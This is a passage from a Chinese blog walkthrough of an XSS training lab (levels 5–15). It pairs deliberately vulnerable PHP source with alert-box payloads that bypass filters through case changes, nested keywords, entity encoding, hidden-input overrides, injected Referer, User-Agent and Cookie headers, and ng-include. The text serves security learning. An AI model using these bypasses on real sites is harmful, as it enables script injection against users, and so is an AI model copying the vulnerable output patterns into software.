echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

首先对 keyword 变量使用了strtolower()函数转换,把所有字符转换为小写;接着过滤了<script,并替换为<scr_ipt;过滤了on并替换为o_n。因为on是很多事件都包含的关键词,所以这里无法直接通过闭合引号在input标签中来触发弹窗了,但是可以闭合双引号和标签,然后通过javascript:alert('XSS')这种形式来触发弹窗。

payload

"><a href=javascript:alert('XSS') //

第 6 关 大小写转换

源码

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

比第 5 关加入了很多的过滤规则,而且过滤了href属性,这样就无法使用javascript:alert()这种形势来弹窗了,但是仔细观察源码,这里少了第 5 关的strtolower()函数,所以这里可以通过大小写转换来绕过过滤。

payload1

" Onclick=alert('XSS') //

payload2

"><a Href=javascript:alert('XSS') //

第 7 关 嵌套构造

源码

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

在第 6 关的基础上,首先还统一使用了strtolower()函数,将 keyword 变量的值转换了小写,这样就无法直接使用大小写转换的思路来绕过了。但是这里的过滤比较巧妙,是直接将敏感字符替换为空(即删掉了),这种机制我们可以尝试使用嵌套构造 payload 来绕过。

payload

" oonnclick=alert('XSS') //

第 8 关 HTML编码

源码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

这里的过滤规则很完善,基本上都过滤掉了可能触发弹窗的一些字符串。同时有 2 个输出,一个输出在了input标签中,并且通过htmlspecialchars($str)函数实体化后输出来,这里基本上是凉凉了。看第 2 个输出,是在center标签中,而且没有过滤,直接输出在了双引号"之间,当作字符串处理,利用当作字符串处理的特点,可以直接将我们的 payload HTML 使用HTML 实体字符编码绕过,有因为直接输出在了href的属性里面,所以可以尝试 javascript() 这种形式来触发弹窗。

j将t编码为t

payload1

javascrip&#x74;:alert('XSS') //

也可以将Tab键编码或者回车键编码来插入来 Bypass

payload2

javascrip&#x09;t:alert('XSS') //
javascrip&#x0a;t:alert('XSS') //

第 9 关 阅读源码

源码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

这里只是比第 8 关多了到对提交的 keyword 里面是否有http://的检测,所以 Bypass 的话就很简单,直接在第 8 关的 payload 后面添加:http://

payload

javascrip&#x74;:alert('XSS') //http://

第 10 关 覆盖元素属性

源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

可以看出这里 keyword变量依然没戏,被 HTML 实体化输出了出来,所以重点放在t_sort 这个标签上,只过滤了尖括号,然后就直接输出到了 input标签中,所以这里可以尝试直接在标签中闭合构造事件来弹窗,还得注意一点就是这里的input标签使用了type="hidden" 将输入框隐藏了起来,可以手动赋值 type 的值来覆盖掉先前的属性来达到显示文本框的目的。

payload

level10.php?keyword=233&t_sort=" type="" onclick=alert('XSS') //

第 11 关 HTTP Referer

源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

看变量的输出基本上可以判定$str$str00变量没戏,也就是我们可以控制的keywordt_sort变量是无法突破限制来弹窗的。观察$str33是通过$str11=$_SERVER['HTTP_REFERER'];过滤了尖括号然后赋值的,那么尝试在 HTTP 请求头的Referer构造 payload。

使用hackbar或者BurpSuite可以很方便地改写 HTTP 请求头地Referer字段:

payload

Referer: " type="" onclick=alert('XSS') //

第 12 关 HTTP User-Agent

源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

这一题和上一题类似,只是这里的漏洞点出现在了 HTTP 请求头的User-Agent

使用hackbar或者BurpSuite可以很方便地改写 HTTP 请求头地User-Agent字段:

payload

User-Agent: " type="" onclick=alert('XSS') //

源码

<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

这里的漏洞点出现在了 HTTP 请求头的Cookieuser属性中。

使用hackbar或者BurpSuite可以很方便地改写HTTP请求头地Cookie字段:

payload

Cookie: user=" type="" onclick=alert('XSS') //

第 14 关 Angular JS

源码

<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>

<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

这题考察Angular JSng-include用法,具体可以参考这篇资料:AngularJS ng-include 指令

ng-include 指令用于包含外部的 HTML 文件,包含的内容将作为指定元素的子节点。ng-include 属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下。所以这里就用来包含其他关的页面来触发弹窗。

payload

level14.php?src="level1.php?name=<img src=x onerror=alert('XSS')>"

第 15 关 过滤空格

源码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("    ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

这里过滤掉了script标签,可以尝试使用其他标签通过事件来弹窗,但是也过滤了空格。

可以使用如下符号替代空格

符号 URL编码
回车(CR) %0d
换行(LF) %0a
???求补充 %0c

payload

level15.php?keyword=<img%0asrc=x%0aonerror=alert('XSS')>

XSS 实战

支持一下

本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)

微信
支付宝

没想到文章加入打赏列表没几天 就有热心网友打赏了 于是国光我用 Bootstrap 重写了一个页面用以感谢支持我的朋友,详情请看 打赏列表 | 国光